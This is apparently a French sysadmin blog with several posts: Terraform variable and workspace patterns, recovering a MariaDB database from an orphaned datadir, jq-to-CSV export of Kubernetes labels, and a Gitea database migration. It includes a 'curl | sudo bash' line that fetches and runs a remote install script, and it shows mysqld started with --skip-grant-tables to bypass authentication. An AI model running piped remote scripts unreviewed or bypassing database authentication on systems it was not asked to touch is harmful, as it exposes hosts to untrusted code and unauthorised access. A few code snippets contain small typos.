Au fil des années, et depuis maintenant pratiquement six ans que je pratique terraform, j’ai pu voir et écrire une quantité non négligeable de lignes de code terraform, mes propres méthodes et préférences ayant évolué avec le temps. Je vous propose donc un petit florilège de ce qu’on peut faire avec cet outil merveilleux.

Ai-je encore besoin de présenter cet incontournable du domaine qu’on appelle l’infrastructure-as-code ? L’outil d’Hashicorp est devenu une référence en quelques années dans le domaine de la gestion d’infrastructure dans les nuages. Son modèle à base d’extensions, les « providers », la capacité de reposer sur des modules de codes pré-établis, ont conquis bon nombre d’équipes et d’indépendants, et de bricoleurs du dimanche comme moi. Le fait que l’outil soit open-source est évidemment un autre critère à ne pas oublier (alors oui, bon, entre temps, ça s’est un peu compliqué…). Il ne faut par contre pas croire ceux qui vous sortent encore qu’un seul code peut permettre de déployer chez n’importe quel fournisseur, c’est juste de la grosse connerie. Mais les concepts d’utilisation et le langage restent eux bien identiques, et surtout, permettent dans la même exécution de déployer chez plusieurs fournisseurs en même temps; moi par exemple, quand je déploie une nouvelle machine sur mon serveur Proxmox, je peux déclarer une entrée DNS chez OVH dans le même temps, le tout avec une seule exécution de terraform. C’est ce genre de puissance qui fait que l’outil est apprécié (on peut même commander ses pizzas avec :P).

Un autre aspect est de pouvoir reproduire pratiquement à l’identique et de manière illimitée un même environnement. La souplesse dans l’utilisation du langage est un autre critère qui a fait son succès, et j’ai pu le comprendre en partie face aux différents « codes » que j’ai pu croiser, et certains modèles de code permettant notamment de gérer plusieurs environnements m’ont vraiment plu dans leur philosophie. C’est ce que je compte vous partager aujourd’hui. D’une manière assez rigolote : on va y aller par étape dans la complexité.

1° niveau : tout hardcodé

C’est ce qu’on voit dans les documentations des « providers », et c’est généralement la première étape de ce qu’on produit comme code quand on débute. Je vais volontairement éluder l’organisation des fichiers pour me concentrer sur le code lui-même : on peut tout coller dans un seul fichier, ou dans plusieurs, et leur nommage importe peu tant que leur extension est .tf.

resource "ovh_domain_zone_record" "vps_ipv4" {
    zone = "domain.tld"
    subdomain = "mysub"
    fieldtype = "A"
    ttl = "60"
    target = "1.2.3.4"
}

Simple, efficace, mais absolument pas souple quand il s’agira de reproduire ça pour d’autres enregistrements. La méthode simple consistera à copier/coller ce code pour créer une deuxième ressource, une troisième, etc. Ça devient vite un enfer, et en plus, tout est dans le même code donc le même fichier d’état dont on reparlera assez vite. C’est là que les variables entrent en jeu.

2° niveau : variables, variables everywhere (et des maps)

Certes ce n’est pas ce que je recommande, mais une des premières utilisations des variables que j’ai faites à été de créer une variable par propriété que je souhaitais pouvoir moduler/réutiliser. Ces variables sont à enregistrer dans un fichier .tfvars, on comprend vite la signification de l’extension du fichier. Sans beaucoup plus d’explications parce que l’exemple sera suffisamment parlant, voilà le résultat :

resource "ovh_domain_zone_record" "vps_ipv4" {
    zone = var.domain
    subdomain = var.subdomain
    fieldtype = "A"
    ttl = "60"
    target = var.ip_address
}

Ma première évolution de ça a été de dupliquer le code comme au premier niveau, et donc avec les variables. En clair, j’avais un jeu de variables pour chaque domaine que je souhaite ajouter. C’est lourdingue, surtout quand on sait qu’on doit déclarer chaque variable qu’on compte utiliser avant de lui affecter une valeur. Aussi, le jour où une évolution majeure demande de réécrire le code (parce qu’on aura voulu renommer la propriété target par exemple), ça demandera de faire x fois la même modification. On reste également dans une gestion unique de l’état.

Une première manière de réduire un peu le poids de ces déclarations de variables a été l’utilisation de listes et de maps. Plutôt que d’avoir une variable par propriété d’une même ressource, on crée une variable par ressource, et cette variable est en l’occurrence une map contenant toutes les propriétés dont on a besoin. Le résultat est parlant là encore :

resource "ovh_domain_zone_record" "vps_ipv4" {
    zone = var.domain["domain_name"]
    subdomain = var.domain[subdomain"]
    fieldtype = "A"
    ttl = "60"
    target = var.domain["ip_address"]
}

variable "domain" {}

domain = {
  "domain_name" = "domain.tld"
  "subdomain"   = "mysub"
  "ip_address"  = "1.2.3.4"
}

J’ai inclus un exemple de variable en dessous pour qu’on comprenne la différence avec le cas précédent. Si on commence à modulariser ce code, l’utilisation d’une map comme celle-ci permet de grandement limiter la duplication de code, même si pour l’instant, nous n’avons pas encore évolué sur notre gestion de l’état.

Un très bonne évolution amenée par Hashicorp a été l’utilisation de boucles, via la fonction for_each. Elle permet de boucler sur une map ou une liste pour répéter un même code à partir du contenu de celle-ci. Ajoutez le fait que cette map peut être indexée, vous commencerez peut-être à comprendre où je veux en venir. On peut dès lors créer la liste des ressources dans une seule variable avec une série de propriétés. Ici, il « suffit » de faire la liste des domaines et des IP associées dans la variable domain, et on peut boucler dessus:

resource "ovh_domain_zone_record" "vps_ipv4" {
  for_each = var.domains
  zone = each.value.domain_name
  subdomain = each.value.subdomain
  fieldtype = "A"
  ttl = "60"
  target = each.value.ip_address
}

variable "domains" {
  type = map(any)
} 

domains = {
  record1 = { 
  domain_name = "domain.tld",
  subdomain = "mysub",
  ip_address = "1.2.3.4"},
  record2 = { 
  domain_name = "domain2.tld",
  subdomain = "mysub2",
  ip_address = "4.5.6.7"}
}

Et depuis, ce for_each a été étendu pour être utilisé non seulement sur les ressources, mais aussi carrément sur les modules eux-mêmes. Ça donne quelque chose de particulièrement puissant et qui peut rester assez léger à lire. Swag.

3° niveau : le couple fichier tfvars + changer la clé de son backend

Eh oui, il est temps de parler d’un élément que je un peu trop vite éludé pour l’instant. Le fonctionnement de terraform repose sur l’enregistrement de l’état de l’infrastructure décrite dans le code, une fois celui-ci appliqué. Lors des exécutions successives, l’outil compare le code, l’état, et ce qui est présent côté plateforme cible pour ensuite indiquer si des changements sont à effectuer (ajout, suppression, modification). Le résultat est donc stocké dans cet état, le fameux « tfstate ».

Quand on ne déclare rien, terraform va stocker son état dans un fichier local, appelé terraform.tfstate. Mais on peut configurer un backend distant pour le stockage de ce fichier, qui est d’ailleurs nécessaire dès lors que le code est partagé via un outil type git, pour que chaque intervenant susceptible de travailler avec le code puisse exploiter un état commun. C’est là qu’on commence à rigoler, mais aussi à faire une chose lourde et rétrospectivement assez dangereuse : associer une clé, c’est-à-dire le chemin du fichier dans le stockage, et un fichier de variables. Pourquoi ? parce qu’on ne peut pas variabiliser une clé de backend comme on le ferait pour le reste de la configuration des providers. Mais bon, on peut enfin séparer les états selon des critères (généralement, la cible d’exécution : sandbox, production…). Mais plantez-vous une fois, et appliquez le mauvais fichier sur l’environnement cible, et c’est potentiellement tout une production qui tombe. C’est clairement pas ce que je recommande, mais j’ai eu à gérer à un moment donné un backend qui ne supportait pas l’utilisation des Workspaces, et c’était à l’époque la seule solution qui nous était apparu comme acceptable pour éviter trop de duplications de code, du genre un dossier par environnement, chacun avec sa conf, son fichier de variables, son backend. Le jour où on doit modifier quelque chose, il faut le répliquer ensuite dans chaque dossier. Pas toujours foufou quand on ne peut pas exploiter les modules.

4° Niveau: les workspaces !

Ça a été une fonctionnalité qui, si le backend le supporte, permet de réduire un peu la lourdeur de la gestion de l’état. En effet, vous déclarez une clé de backend « de base » dans votre configuration, et chaque workspace créé va générer une clé de backend à partir de la base, mais avec un suffixe qui est le nom du workspace. Pourquoi je dit « si le backend le supporte » ? Parce que le caractère séparateur est un « : » qui n’est pas forcément bien toléré par la technologie de stockage. On reste malgré tout dans le domaine du « faut faire gaffe au fichier de conf », mais l’avantage c’est qu’on a « juste » à gérer un tfvars. Je vous laisse lire l’excellente page de Stéphane Robert sur le sujet pour en comprendre l’intérêt.

5° Niveau: Le boss final de l’élégance

Vraiment, c’est ce que j’ai eu l’occasion de voir le plus élégant, tout en étant pas évidemment la solution absolue. Seulement, c’est particulièrement pratique si on doit répliquer sur plusieurs environnements. On reprend une grande partie des éléments précédents, à savoir les workspaces, les maps pour les variables. Mais exit les tfvars, tout repose sur le workspace et les valeurs « par défaut » des variables.

Je ne vais pas reprendre l’exemple du domaine parce que ça n’aurait que peu de sens. On va cette fois prendre comme exemple la définition d’un subnet dans un projet Hetzner Cloud pour trois environnements différents:

resource "hcloud_network" "privNet" {
  name     = terraform.workspace
  ip_range = var.subnets[terraform.workspace].subnet
}

variable "subnets" {
  description = "List of subnets for all envs"
  type = map(any)
  default = {
    dev = {
      subnet = "10.1.0.0/24"
    },
    preprod = {
      subnet = "10.2.0.0/24"
    },
    prod = {
      subnet = "10.3.0.0/24"
    }
  }
}

Ensuite, il n’y a plus qu’à initialiser son environnement, son workspace donc, et d’appliquer le code, et il va sélectionner le subnet en fonction du workspace. D’ailleurs, il est possible aussi de créer dans la map une sous-liste si on veut créer plusieurs subnets, et d’appliquer un for_each. Ça pourrait alors donner un truc dans le genre:

resource "hcloud_network" "privNet" {
  for_each = toset(var.subnets[terraform.workspace].subnets)
  name     = "${terraform.workspace}-${index(var.subnets[terraform.workspace].subnets, each.value) +1}"
  ip_range = each.value
}

variable "subnets" {
  description = "List of subnets for all envs"
  type = map(any)
  default = {
    dev = {
      subnets = [ "10.1.0.0/24", "10.2.0.0/24" ]
    },
    preprod = {
      subnet = [ "10.3.0.0/24", "10.4.0.0/24" ]
    },
    prod = {
      subnet =  [ "10.5.0.0/24", "10.6.0.0/24" ]
    }
  }
}

Bon là je me complique la vie parce qu’avec une simple liste sans « label », faut ruser pour trouver un nom pour chaque subnet côté Hetzner, mais vous avez l’idée. Testé rapidement, ça donne ça comme plan :

tofu plan

OpenTofu used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols:
  + create

OpenTofu will perform the following actions:

  # hcloud_network.privNet["10.5.0.0/24"] will be created
  + resource "hcloud_network" "privNet" {
      + delete_protection        = false
      + expose_routes_to_vswitch = false
      + id                       = (known after apply)
      + ip_range                 = "10.5.0.0/24"
      + name                     = "prod-1"
    }

  # hcloud_network.privNet["10.6.0.0/24"] will be created
  + resource "hcloud_network" "privNet" {
      + delete_protection        = false
      + expose_routes_to_vswitch = false
      + id                       = (known after apply)
      + ip_range                 = "10.6.0.0/24"
      + name                     = "prod-2"
    }

Plan: 2 to add, 0 to change, 0 to destroy.

Vous pouvez donc dans un seul fichier de variables, définir l’intégralité de vos environnements. Et si pour une quelconque raison certaines ressources n’ont pas à être déployées dans tous les environnements, vous pouvez conditionner leur application :

resource "hcloud_network" "privNet" {
  count = try(terraform.workspace == "prod") ? 1 : 0
  name = terraform.workspace
  ip_range = var.subnets[terraform.workspace].subnet
}

Ici, on ne créera le subnet que si l’on est « en prod ».

Et tant d’autres subtilités

Il y a certainement plein d’autres méthodes pour gérer son code terraform, je n’ai ici recensées que celles que j’ai pu voir en cinq ans de pratique (ça fait un an que j’en avais pas touché, ça fait bizarre et c’est toujours aussi rigolo à bricoler). Je suis d’ailleurs curieux de voir un peu comment vous procédez. D’ailleurs, si on va voir du côté de chez Julien Hommet on peut voir que la définition de la map va plus loin que mon simple « any » de gros feignant que je suis, je recommande évidemment sa syntaxe, plus prédictive. J’imagine qu’il y a d’autres aspects que je n’ai pas abordé ici et que vous pourriez certainement porter à ma connaissance (et à ceux qui lisent l’article du coup)

Oui, comme la maxime qui parle d’un cordonnier, je n’avais pas encore mis en place les backups MariaDB quand mon dernier raspberry Pi, plus précisément sa carte SD, a rendu l’âme. Donc pour la restauration sur la nouvelle installation, c’est compliqué. Mais pas impossible non plus

Pour ceux qui n’ont pas forcément suivi toute l’histoire de ce cluster, petit rappel: deux Raspberry Pi, du k3s sur Raspberry Pi OS, un master, un worker. J’avais retiré le worker pour bosser sur une refonte, à savoir une installation de Talos sur SSD, mais le master qui s’est retrouvé tout seul a commencé à montrer des signes de fatigue. J’avais juste mis ça sur la charge de porter tous les pods, mais il s’avère que les écritures plus nombreuses ont accéléré la mort de la carte SD.

Oui car dans une installation Kubernetes, et même si les principaux volumes de mes applications sont provisionnés/montés par le driver CSI NFS, les logs, et toute l’activité liée aux pods, sont écrits sur le volume local de la machine, et donc ici une carte SD. même en ayant pris un modèle plus adapté à ce cas d’usage, au bout de plus de 5 ans, ça commençait à faire trop, et elle m’a lâché sans prévenir pendant mes vacances.

Faites des sauvegardes bordel !

Ou alors « Faites ce que je dis, pas ce que je fais ». Après la réinstallation de Mariadb via le mariadb-operator (qu’on avait d’ailleurs fait en live, abonne-toi toussa :D), j’avais laissé de côté les sauvegardes pour me concentrer sur la migration des bases et la reconfiguration des applications. J’ai ensuite porté mon attention ailleurs et je ne suis jamais revenu dessus. La seule forme de sauvegarde que j’ai, c’est que le datadir de l’instance MariaDB n’est pas sur les nœuds mais sur mon NAS, et j’ai un job de sauvegarde quotidien vers une Storage Box Hetzner. Même sans cette externalisation, le fait que le datadir est toujours disponible est déjà une certaine sécurité.

Sauf que… qui dit mariadb-operator dit gestion par l’opérateur du compte root de l’instance, donc quand il s’agit de restaurer, je ne peux pas juste resynchroniser le datadir dans le nouveau volume, parce que je n’ai plus les manifestes qui vont avec, en clair, je n’ai plus le compte root. J’ai donc un joli datadir, mais pas directement exploitable pour la restauration. Sans parler que je profite de la nouvelle installation pour passer sur une version plus récente de MariaDB. bref, ça me complique la vie. Mais ne c’est pas perdu pour autant.

La tactique de la lessive

(si vous l’avez celle-là…) J’avais déjà eu à gérer ça sur le serveur d’un client un jour, je me souviens plus la cause de départ, mais on avait besoin de réinitialiser le compte root de son instance MySQL, en gros, on s’était enfermé dehors. L’astuce, c’est de démarrer une instance MySQL en spécifiant le datadir, et en utilisant l’option --skip-grant-tables pour démarrer sans authentification. À proscrire absolument dans le monde réel, mais dans le besoin…

Dans mon cas, j’ai bossé sur mon installation WSL2 sur Ubuntu 22.04. J’ai commencé par vérifier la version de MariaDB que j’avais utilisé pour le déploiement de l’instance: 10.11.4. J’ai suivi ensuite la doc officielle pour ajouter le dépot mariadb pour ma branche:

curl -LsS https://r.mariadb.com/downloads/mariadb_repo_setup | sudo bash -s -- --mariadb-server-version="mariadb-10.11"

Comme souvent dans le cas de cette méthode horrible du curl | bash, j’ai vérifié le script avant, vérification que je vous recommande de faire systématiquement, ici tout va bien. Une fois donc le script exécuté, qui aura ajouté la clé GPG et le dépot. On peut donc passer à l’installation:

$ sudo apt install mariadb-server
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
htop libnl-3-200 libnl-genl-3-200 libsass1 libva-wayland2 linux-headers-5.15.0-139 linux-headers-5.15.0-139-generic
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
galera-4 libcgi-fast-perl libcgi-pm-perl libconfig-inifiles-perl libdbd-mysql-perl libdbi-perl libfcgi-bin libfcgi-perl libfcgi0ldbl libhtml-template-perl libmariadb3 libmysqlclient21
libterm-readkey-perl liburing2 libwrap0 mariadb-client mariadb-client-core mariadb-common mariadb-server-core mysql-common pv socat
Suggested packages:
libmldbm-perl libnet-daemon-perl libsql-statement-perl libipc-sharedcache-perl mailx mariadb-test doc-base
The following NEW packages will be installed:
galera-4 libcgi-fast-perl libcgi-pm-perl libconfig-inifiles-perl libdbd-mysql-perl libdbi-perl libfcgi-bin libfcgi-perl libfcgi0ldbl libhtml-template-perl libmariadb3 libmysqlclient21
libterm-readkey-perl liburing2 libwrap0 mariadb-client mariadb-client-core mariadb-common mariadb-server mariadb-server-core mysql-common pv socat
0 upgraded, 23 newly installed, 0 to remove and 3 not upgraded.
Need to get 28.2 MB of archives.
After this operation, 159 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Première chose que je fais, c’est de désactiver le service, car il est de coutume dans les environnement « Debian-like » que l’installation d’un paquet avec un service inclue l’activation et le démarrage par défaut dudit service. J’ai donc déjà un serveur MariaDB démarré à la fin de l’installation:

sudo systemctl disable --now mariadb.service

Ensuite, je récupère une copie via rsync de mon datadir dormant:

rsync -a 192.168.1.201:/volume1/Kube/pvc-3dbb41c0-41ea-4f09-90cc-4aa186124266/ ./datadir/

Très important, ne jamais travailler sur la version d’origine, qui doit rester en l’état si tout ne se passe pas comme prévu. Ensuite, on en vient à la partie la plus importante. J’ai du retâter un peu du --help, et prendre deux/trois messages d’erreur dans la gueule, puis, enfin, le Graal :

$ mysqld --skip-grant-tables --datadir=./datadir --socket ./mysqld.sock --pid-file=./mysqld.pid
2025-05-19 21:16:17 0 [Note] Starting MariaDB 10.11.11-MariaDB-ubu2204 source revision e69f8cae1a15e15b9e4f5e0f8497e1f17bdc81a4 server_uid KCkK/FgNE+mocr6SqlkAw7a5WoI= as process 52647
2025-05-19 21:16:17 0 [Note] InnoDB: Compressed tables use zlib 1.2.11
2025-05-19 21:16:17 0 [Note] InnoDB: Number of transaction pools: 1
2025-05-19 21:16:17 0 [Note] InnoDB: Using AVX512 instructions
2025-05-19 21:16:17 0 [Note] InnoDB: Using liburing
2025-05-19 21:16:17 0 [Note] InnoDB: Initializing buffer pool, total size = 128.000MiB, chunk size = 2.000MiB
2025-05-19 21:16:17 0 [Note] InnoDB: Completed initialization of buffer pool
2025-05-19 21:16:17 0 [Note] InnoDB: File system buffers for log disabled (block size=4096 bytes)
2025-05-19 21:16:17 0 [Note] InnoDB: End of log at LSN=3957967525
2025-05-19 21:16:17 0 [Note] InnoDB: 128 rollback segments are active.
2025-05-19 21:16:17 0 [Note] InnoDB: Removed temporary tablespace data file: "./ibtmp1"
2025-05-19 21:16:17 0 [Note] InnoDB: Setting file './ibtmp1' size to 12.000MiB. Physically writing the file full; Please wait ...
2025-05-19 21:16:17 0 [Note] InnoDB: File './ibtmp1' size is now 12.000MiB.
2025-05-19 21:16:17 0 [Note] InnoDB: log sequence number 3957967525; transaction id 2439228
2025-05-19 21:16:17 0 [Note] InnoDB: Loading buffer pool(s) from /home/seboss666/git/git.seboss666.ovh/k3s_platform/kubernetes/databases/datadir/ib_buffer_pool
2025-05-19 21:16:17 0 [Note] Plugin 'FEEDBACK' is disabled.
2025-05-19 21:16:17 0 [Warning] You need to use --log-bin to make --expire-logs-days or --binlog-expire-logs-seconds work.
2025-05-19 21:16:17 0 [Note] Server socket created on IP: '127.0.0.1'.
2025-05-19 21:16:17 0 [Note] InnoDB: Buffer pool(s) load completed at 250519 21:16:17
2025-05-19 21:16:17 0 [Note] mysqld: ready for connections.
Version: '10.11.11-MariaDB-ubu2204' socket: './mysqld.sock' port: 3306 mariadb.org binary distribution

Wouhou, désormais, on peut brancher un client sur le socket qu’on a indiqué et vérifier la présence des bases :

$ mysql -S ./datadir/mysqld.sock
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3
Server version: 10.11.11-MariaDB-ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| freshrss           |
| gitea              |
| information_schema |
| mariadb            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
7 rows in set (0.045 sec)

TADA !!!

On peut dès lors dumper les bases pour préparer l’importation dans la nouvelle instance, en spécifiant aussi le socket :

mysqldump -S ./datadir/mysqld.sock -Q -B --opt gitea > gitea.sql

Quelques dizaines de minutes plus tard passées sur Talos, les applis sont de nouveau disponible \o/

Prochaine étape: mettre en place des dumps et des sauvegardes « Kube »

J’ai déjà cette histoire de datadir, mais on l’a vu, en cas de restauration c’est assez contraignant et ça aurait pu être encore plus long si je n’avais pas déjà su comment procéder. Pire, on ne peut pas restaurer « en l’état » parce que les infos de l’instance déployée par l’opérateur sont perdues dans la bataille, ce qui oblige à tout réinstaller.

Il faut donc que je mette en place des dumps, l’opérateur va m’y aider, mais aussi la sauvegarde des manifestes Kubernetes et là on reparlera de Velero je pense. Les dumps, c’est une sécurité et la facilité de migration des bases, les manifestes permettent de rétablir l’instance dans l’état le plus proche de l’original, ce qui m’aurait évité les heures passées à tout refaire de zéro.

Donc oui, plus que jamais, faites des sauvegardes (et testez-les aussi, de temps en temps, c’est mieux)

Autre petit déterrage de brouillon. Je sais, quand on bosse sur en tant que Sysadmin, c’est pas spécialement le premier format de données auquel on pense. Mais quand on commence à bosser sur un cluster avec des dizaines de sites web déployés, plus des utilitaires/opérateurs autour, extraire les infos devient un léger sport, pire, quand il faut partager l’info à des gens moins techniques, c’est compliqué. Et donc, le format CSV peut aider, je vous explique.

Quand j’étais encore chez LinkByNet/Accenture, un des clusters Kube que j’avais à gérer était mutualisé entre plusieurs entités d’un client (appelés maisons), les applications étaient identifiées clairement comme telles via un label, mais on a découvert que cet élément d’inventaire, qui permettait la refacturation de la consommation dans le cluster à chaque maison (je vous passe le reste des détails), n’était pas toujours positionné correctement. Avant d’effectuer des corrections il est donc nécessaire de récupérer les informations existantes.

La configuration du label « maison » est splittée dans autant de dépôts git qu’on a de sites déployés, donc on s’évite le truc, et on part du principe qu’on peut récupérer l’information dans le cluster directement. Et pour traiter le résultat, surtout le partager au client, vu le format que ça risque de prendre (un tableau), on pense partager un tableau Excel pour ensuite se voir retourner la version corrigée.

Si vous manipulez régulièrement Kubernetes, vous savez que Excel, et même CSV, ne sont pas des formats supportés pour récupérer les informations, on a que JSON et YAML (en tout cas pour avoir les détails des déploiements/statefulsets/daemonsets, comme les labels), et éventuellement jsonPath pour pré-filtrer les infos. Ceci dit, à partir de JSON il y a potentiellement de quoi faire, en particulier avec jq. J’aime bien jq, même si je rote du sang à chaque fois que j’essaie de l’utiliser. Quelques recherches plus tard, mes intuitions étaient correctes et il s’avère que jq permet de formater les donner en CSV. Mais au fait, c’est quoi le CSV ?

Petit retour sur un format texte simple et pourtant si pratique

CSV ça veut dire Comma Separated Values, soit valeurs séparées par des virgules. Oui, c’est aussi simple que ça en a l’air, dans un fichier texte, la première ligne peut désigner éventuellement les titres des colonnes, et les lignes suivantes les valeurs. Un exemple ?

Nom,Prénom,Profession,Ville
Chabrier,Pierre,Pleureur,MontCuq
Lévy,Sylvain,Sniper,Saint-Denis
Christ,Jesus,,Nazareth

Vous voyez, c’est assez Simple. Et en vrai on pourrait aussi procéder de la même façon avec la première colonne de description et les suivantes de données, voire les deux. Vous avez remarqué la troisième ligne ? Pour indiquer qu’on ne « remplit » pas la colonne correspondant ici à Profession, on laisse juste un vide avec deux virgules successives. Comme je l’ai dit, simple, efficace.

Reste à savoir comment on obtient ça à partir du JSON que nous retourne kubectl.

Dans le dur

Bien, comme je l’ai dit, jq va nous servir très fort, parce qu’il a justement une fonction dédiée au formatage de données en CSV. Commençons déjà par récupérer ce dont on a besoin. On cherche donc les infos des Deployments, StatefulSets, DaemonSets de tous les namespaces. Sur le papier, j’aurais pu utiliser jsonPath comme sortie pour récupérer les champs que je voulais, mais j’ai noté de déjà passer par jq pour filtrer tout ça et ne garder que ce qui m’intéresse, à savoir le type (Kind), le Namespace, le nodeselector (oui, on a eu une histoire de nodepool à gérer aussi), et le fameux label « maison ». Avec jq j’y suis arrivé plus simplement alors qu’avec jsonPath j’ai toujours buté sur un des points (mais là j’avoue, entre le premier brouillon y’a trois ans et maintenant, j’ai oublié lequel). Bref, tout ça finit dans un fichier json, ça donne quelque chose comme ça :

kubectl get deploy,sts,ds -o json -A | jq -r '[ .items[] | {Kind: .kind , Name: .metadata.name, Maison: .metadata.labels["maison"], Namespace: .metadata.namespace, selector: .spec.template.spec.nodeSelector["lbn.fr/project"] }]' > workload.json

Pas super simple à lire, mais pas non plus super compliqué à comprendre. Maintenant vient la partie qui permet de structurer notre futur fichier CSV. On commence par les entêtes. Actuellement on a ça dans le fichier json:

[{"Kind":"Deployment", "Name":"site1-com","Maison":"maison1","Namespace":"dev-site1-com","selector","web"},
{"Kind":"Deployment", "Name":"site2-com","Maison":"maison2","Namespace":"dev-site2-com","selector","web"}]

La première action va donc être d’extraire les clés. La petite triche ici c’est qu’on est certain qu’on peut se reposer sur la première « ligne » du tableau JSON parce qu’on a exactement les mêmes champs dans toutes les entrées. Et petite subtilité par contre, comme il s’agit des clés, on doit forcer jq à ne pas les trier par ordre alphabétique sinon ça fout la grouille :

cat workload.json | jq '.[0]|keys_unsorted | @csv' > workload.csv

• Le [0], c’est pour forcer à se baser sur la première ligne uniquement (sinon il sortirait les clés de toutes les lignes et on aurait autant de lignes avec les noms des champs qu’on a d’entrées dans le tableau JSON)
• keys_unsorted, comme je l’ai dit, permet de ne pas trier alphabétiquement
• le  @csv est la fonction magique qui formate le résultat pour nos besoins.
• le chevron simple permet de s’assurer que c’est la première ligne du fichier, puisque comme ça tout contenu éventuellement existant est directement supprimé pour être remplacé par notre unique ligne.

C’est pas si compliqué hein ? Reste ensuite à extraire les valeurs, pour toutes les lignes cette fois. La logique reste grosso modo la même, à part que là, et j’ignore pourquoi, pas besoin de forcer à ne pas trier les valeurs, elles restent dans le bon ordre :

cat workload.json | jq '.[]|map(values) | @csv' >> workload.csv
sed -i.bak 's/[\"\\]//g' workload.csv

À la place de [0] on met [] pour indiquer « toutes les entrées », on mappe les valeurs sinon le filtre csv râle, et on met un double chevron pour mettre le résultat à la suite du contenu existant du fichier.

Et voilà, on peut désormais importer ce CSV dans un tableur pour le présenter de manière intelligible, avec des jolies colonnes qu’on peut filtrer/trier/annoter/corriger, à des gens qui n’ont pas l’habitude de bosser avec du JSON. Au final on aura eu quand même une petite dizaine de sites à corriger, on a donc pu se permettre de le faire manuellement. Sur un plus gros volume, on serait certainement passé par du scripting Python pour modifier les fichiers de values directement dans tous les dépôts Gitlab concernés, en laissant ensuite faire la magie du déploiement continu

Dire que ce sujet m’aura arraché quelques cheveux est un euphémisme, et pourtant dieu sait que j’en ai pas vraiment besoin, ça tombe déjà tout seul. Certes Gitea supporte trois moteurs différents (SQLite, MySQL/MariaDB, PostgreSQL), ça ne l’empêche pas de ne pas proposer de méthode officielle ni d’outil pour migrer une installation existante d’un moteur à l’autre. J’ai donc retroussé mes manches, roté un litre de sang ou deux, mais j’ai trouvé comment faire et surtout réussi. Je vous raconte.

Ceci est principalement une concaténation de ce que j’ai commencé à faire en stream le 17 janvier dernier, et terminé le dimanche 26 suivant. J’étais parti de la base d’un message sur le forum de Gitea cherchant à faire exactement la même chose. J’en avais déduit une série d’étapes que j’ai plus ou moins respectées, assez simple:

• Dumper la base actuelle via la commande intégrée (qui génère un dump sql de la base SQLite); l’instance doit être démarrée pour ça, because binaire gitea
• Couper gitea pour éviter un delta
• Archiver le dossier sur le NAS, pour tout restaurer à l’état initial si besoin
• Récupérer le fichier sql du dump
• Lancer une instance vierge de gitea sur MySQL/MariaDB directement avec docker-compose, initialiser l’installation, et dumper la base créée
• Retirer les INSERT INTO du fichier de dump MySQL, et y ajouter à la fin tous les INSERT INTO du fichier de dump SQLite
• Importer dans l’instance MySQL cible,  Dans mon cas, MariaDB, mais c’est pareil
• Reconfigurer son Gitea pour qu’il l’utilise à la place
• Retirer le fichier sqlite du dossier de données (on l’a toujours dans l’archive, remember)
• Redémarrer gitea

Et à la vérité, même avec les travaux supplémentaires post-stream, au niveau du fichier de dump lui-même, il s’avère qu’il n’y a pas besoin de faire plus que les trois étapes mentionnées au dessus. Comment est-ce possible !?

Le problème qu’on avait donc au moment de tenter l’import dans l’instance se produisait sur des INSERT donc certains champs contenaient des emojis. La plupart du temps, ça se produit pour des histoires d’encodage au niveau des fichiers ou de la base. C’est d’ailleurs ce qui m’a fait perdre du temps pendant le live, où on a tenté en vain de convertir les fichiers avant de tenter l’import, avec un résultat parfois très surprenant, comme ce passage par UTF-16 puis UTF-8 qui s’est soldé par un fichier aussi compréhensible que du chinois, et pour cause, il était rempli de caractères chinois !

La joie des encodages dans les bases de données

Dans le schéma (qu’on peut consulter via MySQL ou dans le fichier lui-même), beaucoup de champs/tables sont encodées en utf8mb4, c’est à dire UTF-8 avec la possibilité de coder les caractères sur 4 octets. Avec l’embonpoint qu’a pris UTF-8 ces dernières années pour inclure toujours plus d’emojis, c’est une nécessité adoptée par énormément d’applications dont les données sont fournies par les utilisateurs, et les forges git ne sont pas épargnées (WordPress aussi par exemple est passé à l’utf8mb4 il y a un bon moment déjà).

Ce qui m’a interpellé c’est qu’effectivement, l’erreur sur laquelle je butais concernait des emojis, plus précisément ceux que j’ai foutu dans le code de mon premier pipeline Gitea Actions de livraison du LinkFree (autre sujet découvert en live, abonnez-vous/follow toussa toussa). Dans le fichier on voit bien qu’ils sont sur quatre octets. Mais alors, qu’est-ce qui coince ? En effet, en cherchant un peu, on tombe sur un thread qui dit que parfois, le serveur force un autre mode d’encodage si on lui dit pas de faire autrement, et conseille d’utiliser la commande SET NAMES utf8mb4 pour forcer les paramètres de fonctionnement. Plus étrangement, c’est pourtant ce que j’ai au début du fichier de dump, donc pourquoi ne pas en tenir compte ?

Apparemment, c’est ce que fait mon serveur au moment où le client se connecte, je me retrouve en utf8mb3. Et donc, avec la première méthode d’import, celle qu’on conseille dans 99,99% des cas, il n’en tient pas compte. Oui oui, avec mysql gitea <dump.sql, et même si les premières lignes du fichier en question disent de passer en utf8mb4, il n’en tient pas compte.

Un des soucis avec cette méthode d’ailleurs, c’est qu’il abandonne à la première erreur. Ce qui fait qu’on ne sait pas trop combien de lignes sont concernées par le problème. Je change donc mon fusil d’épaule et tente de faire autrement. En effet, le client mysql permet, après la connexion, de « sourcer » un fichier sql depuis le système de fichiers (je vous laisse la page de doc pour en connaitre les détails). En tentant basiquement le coup, j’ai eu raison de vouloir le tenter, mais ça m’a aussi joué un tour : il affiche les erreurs, toutes cette fois, mais aussi un message de retour pour chaque INSERT réussi. Pas de bol, y’en a plus de 30000, et un historique de 9000 lignes seulement dans Windows Terminal. Il va donc falloir ruser.

Je tente une chose: utiliser l’option « -e » de mysql, qui permet de lancer une ou plusieurs requêtes après la connexion, un peu à la manière d’SSH, ce qui rend la main dans le shell juste après (ça connecte, ça exécute, ça déconnecte). Pour pouvoir parcourir les résultats, je renvoie la sortie standard dans un fichier. Et là, très bonne surprise : les erreurs sont renvoyées sur l’erreur standard, mais comme je renvois la sortie standard dans un fichier, je n’ai QUE les erreurs à l’écran !

